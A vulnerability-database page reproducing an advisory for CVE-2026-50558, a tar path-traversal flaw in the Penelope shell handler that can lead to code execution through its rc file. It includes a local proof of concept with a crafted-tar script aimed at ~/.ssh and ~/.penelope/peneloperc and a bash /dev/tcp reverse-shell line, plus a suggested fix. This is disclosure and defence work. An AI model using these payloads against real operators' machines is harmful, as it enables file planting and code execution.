warnings.simplefilter("ignore", category=DeprecationWarning)
tar.extractall(local_download_folder)
The file-write impact can be chained with Penelope's rc loading behavior:
def load_rc():
RC = Path(options.basedir / "peneloperc")
try:
with open(RC, "r") as rc:
exec(rc.read(), globals())
By default, options.basedir is ~/.penelope, so the executed rc file is:
~/.penelope/peneloperc
Since session downloads are stored under ~/.penelope/sessions/<session>/downloads, a crafted tar member can traverse upward and plant or replace ~/.penelope/peneloperc. The planted Python code executes when Penelope starts again or when the operator runs reload.
PoC
The following reproduces the issue locally by simulating a malicious remote endpoint. The fake tar binary is placed first in PATH for the test shell, so when Penelope asks the remote session to run tar, the remote session returns a crafted archive with path traversal entries.
Start Penelope in Terminal 1:
penelope -p 4444 -U -C #No upgrade and session connection needed
Prepare the fake remote tar in Terminal 2:
mkdir -p /tmp/penelope-fakebin
mkdir -p "$HOME/.penelope" "$HOME/.ssh"
cp -f "$HOME/.penelope/peneloperc" /tmp/peneloperc.backup 2>/dev/null || true
cat > /tmp/penelope-fakebin/tar <<'EOF'
#!/usr/bin/env python3
import io
import os
import sys
import tarfile
import time
home = os.path.expanduser("~")
target_home = home.lstrip("/")
def add_file(tar, target, data):
data = data.encode()
info = tarfile.TarInfo(target)
info.size = len(data)
info.mode = 0o644
info.mtime = int(time.time())
tar.addfile(info, io.BytesIO(data))
with tarfile.open(mode="w:gz", fileobj=sys.stdout.buffer) as tar:
add_file(tar, "../../../../../" + target_home + "/PENELOPE_CVE_PROOF.txt", "Penelope path traversal proof\n")
add_file(tar, "../../../../../" + target_home + "/.ssh/PENELOPE_SSH_KEY.txt", "fake-demo-ssh_key-not-for-authentication\n")
add_file(
tar,
"../../../../../" + target_home + "/.penelope/peneloperc",
"open('/" + target_home + "/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\\n')\n"
)
EOF
chmod +x /tmp/penelope-fakebin/tar
touch /tmp/penelope_dummy
Connect the local test shell back to Penelope in Terminal 2:
PATH=/tmp/penelope-fakebin:$PATH bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'
In Terminal 1, inside Penelope, trigger the vulnerable download:
download /tmp/penelope_dummy
Verify in Terminal 3 that files were written outside the intended download directory:
cat "$HOME/PENELOPE_CVE_PROOF.txt"
cat "$HOME/.ssh/PENELOPE_SSH_KEY.txt"
grep PENELOPE_RC_EXECUTED "$HOME/.penelope/peneloperc"
Expected output includes:
Penelope path traversal proof
fake-demo-ssh_key-not-for-authentication
open('/home/<user>/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\n')
In Terminal 1, inside Penelope, execute the planted rc line:
reload
Verify in Terminal 3 that peneloperc executed:
cat "$HOME/PENELOPE_RC_EXECUTED.txt"
Expected output:
peneloperc executed via reload
Cleanup:
rm -f "$HOME/PENELOPE_CVE_PROOF.txt"
rm -f "$HOME/.ssh/PENELOPE_SSH_KEY.txt"
rm -f "$HOME/PENELOPE_RC_EXECUTED.txt"
if [ -f /tmp/peneloperc.backup ]; then cp -f /tmp/peneloperc.backup "$HOME/.penelope/peneloperc"; else rm -f "$HOME/.penelope/peneloperc"; fi
rm -f /tmp/peneloperc.backup
rm -rf /tmp/penelope-fakebin
rm -f /tmp/penelope_dummy
Impact
A malicious remote session can write arbitrary files on the Penelope operator's machine, limited to the permissions of the user running Penelope.
For a non-root operator, this may be chained to operator-side code execution only if the attacker can overwrite a user-writable file that Penelope or the user later executes, such as:
~/.penelope/peneloperc
~/.bashrc
~/.profile
~/.config/autostart/*.desktop
For a root operator, the impact is higher because root-writable files may be overwritten.
Suggested Fix
Validate every archive member before extraction by resolving the final destination path and rejecting paths outside the intended download directory. Reject symlink and hardlink members. On supported Python versions, filter="data" can be used as an additional safeguard.
Severity
5.9 (Medium)
Impacted products
| Name | purl | penelope-shell-handler | pkg:pypi/penelope-shell-handler |
|---|
Aliases
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "penelope-shell-handler",
"purl": "pkg:pypi/penelope-shell-handler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.20.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.15.0",
"0.18.0",
"0.19.1"
]
}
],
"aliases": [
"CVE-2026-50558",
"GHSA-f42x-p2mx-hm8r"
],
"details": "### Summary\n\nPenelope versions prior to 0.19.3 extracted tar archives received from remote sessions without validating archive member paths. When using the affected Unix download path, a malicious or compromised remote session could return a crafted tar archive containing path traversal entries, such as `../`, causing files to be written outside the intended download directory on the Penelope operator\u0027s machine.\n\nThe impact is limited to files writable by the user running Penelope. In some cases, this arbitrary file write could be chained to operator-side code execution if the attacker can overwrite a file that Penelope or the user later executes, such as `~/.penelope/peneloperc`. The issue has been fixed in version 0.19.3 by rejecting unsafe archive paths during extraction.\n\n### Affected conditions\n\nThe issue requires the operator to use the Main Menu `download` command to download files from a malicious or compromised remote session that can influence the tar archive returned to Penelope. The Python agent download path is not affected in the same way because it does not rely on the remote `tar` command.\n\nThe vulnerable behavior is related to Python\u0027s historical `tarfile` extraction defaults. In Python versions before 3.14, `TarFile.extractall()` did not use the safer `data` extraction filter by default, so applications extracting untrusted tar archives needed to explicitly provide a safe extraction filter or perform their own path validation.\n\nPython 3.14 changes the default extraction behavior to use the `data` filter, which rejects dangerous archive features such as absolute paths and paths outside the destination directory. Penelope 0.19.3 now performs explicit validation/rejection of unsafe archive paths so the fix does not depend on the Python runtime version.\n\n### Details\n\nThe vulnerable code is in the Unix `download()` implementation.\n\nPenelope creates a local download directory:\n\n```python\nlocal_download_folder = self.directory / \"downloads\"\n```\n\nLater, it opens a tar archive received from the remote session:\n\n```python\ntar = tarfile.open(mode=mode, fileobj=tar_source)\n```\n\nThen it extracts all members without validating archive paths:\n\n```python\ntar.extractall(local_download_folder)\n```\n\nBecause member names are trusted, a malicious tar archive can contain paths such as:\n\n```text\n../../../../../home/operator/.penelope/peneloperc\n```\n\nThis escapes the intended `local_download_folder` and writes to an arbitrary path writable by the Penelope operator.\n\nThe same extraction block also suppresses Python\u0027s `DeprecationWarning` around unsafe tar extraction:\n\n```python\nwith warnings.catch_warnings():\n warnings.simplefilter(\"ignore\", category=DeprecationWarning)\n tar.extractall(local_download_folder)\n```\n\nThe file-write impact can be chained with Penelope\u0027s rc loading behavior:\n\n```python\ndef load_rc():\n RC = Path(options.basedir / \"peneloperc\")\n try:\n with open(RC, \"r\") as rc:\n exec(rc.read(), globals())\n```\n\nBy default, `options.basedir` is `~/.penelope`, so the executed rc file is:\n\n```text\n~/.penelope/peneloperc\n```\n\nSince session downloads are stored under `~/.penelope/sessions/\u003csession\u003e/downloads`, a crafted tar member can traverse upward and plant or replace `~/.penelope/peneloperc`. The planted Python code executes when Penelope starts again or when the operator runs `reload`.\n\n### PoC\n\nThe following reproduces the issue locally by simulating a malicious remote endpoint. The fake `tar` binary is placed first in `PATH` for the test shell, so when Penelope asks the remote session to run `tar`, the remote session returns a crafted archive with path traversal entries.\n\nStart Penelope in Terminal 1:\n\n```bash\npenelope -p 4444 -U -C #No upgrade and session connection needed\n```\n\u003cimg width=\"1920\" height=\"337\" alt=\"path1\" src=\"https://github.com/user-attachments/assets/c8cb2dd6-e6d5-43ce-b3a2-61005dbcf95c\" /\u003e\n\nPrepare the fake remote `tar` in Terminal 2:\n\n```bash\nmkdir -p /tmp/penelope-fakebin\nmkdir -p \"$HOME/.penelope\" \"$HOME/.ssh\"\ncp -f \"$HOME/.penelope/peneloperc\" /tmp/peneloperc.backup 2\u003e/dev/null || true\n\ncat \u003e /tmp/penelope-fakebin/tar \u003c\u003c\u0027EOF\u0027\n#!/usr/bin/env python3\nimport io\nimport os\nimport sys\nimport tarfile\nimport time\n\nhome = os.path.expanduser(\"~\")\ntarget_home = home.lstrip(\"/\")\n\ndef add_file(tar, target, data):\n data = data.encode()\n info = tarfile.TarInfo(target)\n info.size = len(data)\n info.mode = 0o644\n info.mtime = int(time.time())\n tar.addfile(info, io.BytesIO(data))\n\nwith tarfile.open(mode=\"w:gz\", fileobj=sys.stdout.buffer) as tar:\n add_file(tar, \"../../../../../\" + target_home + \"/PENELOPE_CVE_PROOF.txt\", \"Penelope path traversal proof\\n\")\n add_file(tar, \"../../../../../\" + target_home + \"/.ssh/PENELOPE_SSH_KEY.txt\", \"fake-demo-ssh_key-not-for-authentication\\n\")\n add_file(\n tar,\n \"../../../../../\" + target_home + \"/.penelope/peneloperc\",\n \"open(\u0027/\" + target_home + \"/PENELOPE_RC_EXECUTED.txt\u0027, \u0027w\u0027).write(\u0027peneloperc executed via reload\\\\n\u0027)\\n\"\n )\nEOF\n\nchmod +x /tmp/penelope-fakebin/tar\ntouch /tmp/penelope_dummy\n```\n\nConnect the local test shell back to Penelope in Terminal 2:\n\n```bash\nPATH=/tmp/penelope-fakebin:$PATH bash -c \u0027bash -i \u003e\u0026 /dev/tcp/127.0.0.1/4444 0\u003e\u00261\u0027\n```\n\u003cimg width=\"1920\" height=\"1000\" alt=\"path2\" src=\"https://github.com/user-attachments/assets/c6db4888-9a41-4a99-b8d1-35c06f07ca4a\" /\u003e\n\nIn Terminal 1, inside Penelope, trigger the vulnerable download:\n\n```text\ndownload /tmp/penelope_dummy\n```\n\nVerify in Terminal 3 that files were written outside the intended download directory:\n\n```bash\ncat \"$HOME/PENELOPE_CVE_PROOF.txt\"\ncat \"$HOME/.ssh/PENELOPE_SSH_KEY.txt\"\ngrep PENELOPE_RC_EXECUTED \"$HOME/.penelope/peneloperc\"\n```\n\u003cimg width=\"1920\" height=\"573\" alt=\"path3\" src=\"https://github.com/user-attachments/assets/9c7c8d3b-00ee-4d74-b195-1e91ff581243\" /\u003e\n\nExpected output includes:\n\n```text\nPenelope path traversal proof\nfake-demo-ssh_key-not-for-authentication\nopen(\u0027/home/\u003cuser\u003e/PENELOPE_RC_EXECUTED.txt\u0027, \u0027w\u0027).write(\u0027peneloperc executed via reload\\n\u0027)\n```\n\nIn Terminal 1, inside Penelope, execute the planted rc line:\n\n```text\nreload\n```\n\nVerify in Terminal 3 that `peneloperc` executed:\n\n```bash\ncat \"$HOME/PENELOPE_RC_EXECUTED.txt\"\n```\n\nExpected output:\n\n```text\npeneloperc executed via reload\n```\n\nCleanup:\n\n```bash\nrm -f \"$HOME/PENELOPE_CVE_PROOF.txt\"\nrm -f \"$HOME/.ssh/PENELOPE_SSH_KEY.txt\"\nrm -f \"$HOME/PENELOPE_RC_EXECUTED.txt\"\nif [ -f /tmp/peneloperc.backup ]; then cp -f /tmp/peneloperc.backup \"$HOME/.penelope/peneloperc\"; else rm -f \"$HOME/.penelope/peneloperc\"; fi\nrm -f /tmp/peneloperc.backup\nrm -rf /tmp/penelope-fakebin\nrm -f /tmp/penelope_dummy\n```\n\n### Impact\n\nA malicious remote session can write arbitrary files on the Penelope operator\u0027s machine, limited to the permissions of the user running Penelope.\n\nFor a non-root operator, this may be chained to operator-side code execution only if the attacker can overwrite a user-writable file that Penelope or the user later executes, such as:\n\n```text\n~/.penelope/peneloperc\n~/.bashrc\n~/.profile\n~/.config/autostart/*.desktop\n```\n\nFor a root operator, the impact is higher because root-writable files may be overwritten.\n\n### Suggested Fix\n\nValidate every archive member before extraction by resolving the final destination path and rejecting paths outside the intended download directory. Reject symlink and hardlink members. On supported Python versions, `filter=\"data\"` can be used as an additional safeguard.",
"id": "PYSEC-2026-3606",
"modified": "2026-08-04T13:36:28.774829Z",
"published": "2026-08-04T11:34:44.897084Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/brightio/penelope/security/advisories/GHSA-f42x-p2mx-hm8r"
},
{
"type": "WEB",
"url": "https://github.com/brightio/penelope/commit/a040afb5db32c7e80b5e8a2f9b2164cf911cfa62"
},
{
"type": "PACKAGE",
"url": "https://github.com/brightio/penelope"
},
{
"type": "WEB",
"url": "https://github.com/brightio/penelope/releases/tag/v0.20.0"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/penelope-shell-handler"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-f42x-p2mx-hm8r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50558"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive"
}
Loading…
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.